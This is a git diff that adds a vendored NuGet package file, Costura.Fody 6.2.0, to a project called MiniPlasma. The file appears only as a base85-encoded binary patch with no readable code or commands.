diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg b/MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg new file mode 100644 index 0000000000000000000000000000000000000000..a57c160eea2c3f31594bd4c474c84a99507ef1a8 GIT binary patch literal 245231 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 